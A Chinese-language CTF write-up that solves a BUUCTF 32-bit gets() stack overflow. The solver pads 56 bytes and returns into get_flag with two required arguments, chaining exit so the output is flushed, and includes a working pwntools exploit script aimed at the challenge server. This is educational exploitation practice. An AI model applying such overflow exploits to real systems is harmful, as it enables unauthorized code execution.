Gets 栈溢出(32 位程序返回)

Gets 栈溢出(32 位程序返回)

话不多说,直接上题(BUUCTF)

Gets 栈溢出(32 位程序返回)-侠者安全社区

扔进 IDA32 中反编译,直接给出了 Gets

Gets 栈溢出(32 位程序返回)-侠者安全社区

在左边看到有一个 get_flag 函数,进去看看

Gets 栈溢出(32 位程序返回)-侠者安全社区

可以看到 if 条件成立后就能读取 flag 了

回头去看 v4 缓存区的栈情况

Gets 栈溢出(32 位程序返回)-侠者安全社区

首先填充 56 个字节垃圾数据

argc 就是 a1,argv 就是 a2

Gets 栈溢出(32 位程序返回)-侠者安全社区

注意的一点是获取 flag 方式是打开文件读取

如果你非正常退出是没有输出的

我们需要利用 exit 函数

在函数表中关键字定位找到 exit 的起始位置

Gets 栈溢出(32 位程序返回)-侠者安全社区

调用函数还需要传入两个参数

32 位程序是返回地址在参数前面

from pwn import *

p = remote('node5.buuoj.cn',27494)

get_flag_addr = 0x080489A0
exit_addr = 0x804E6A0
a1 = 0x308CD64F
a2 = 0x195719D1

payload = b'a' * 56 + p32(get_flag_addr) + p32(exit_addr) + p32(a1) + p32(a2)

p.sendline(payload)
p.interactive()

成功拿到 flag

 

© 版权声明
THE END
喜欢就支持一下吧
点赞13 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情快捷回复

    暂无评论内容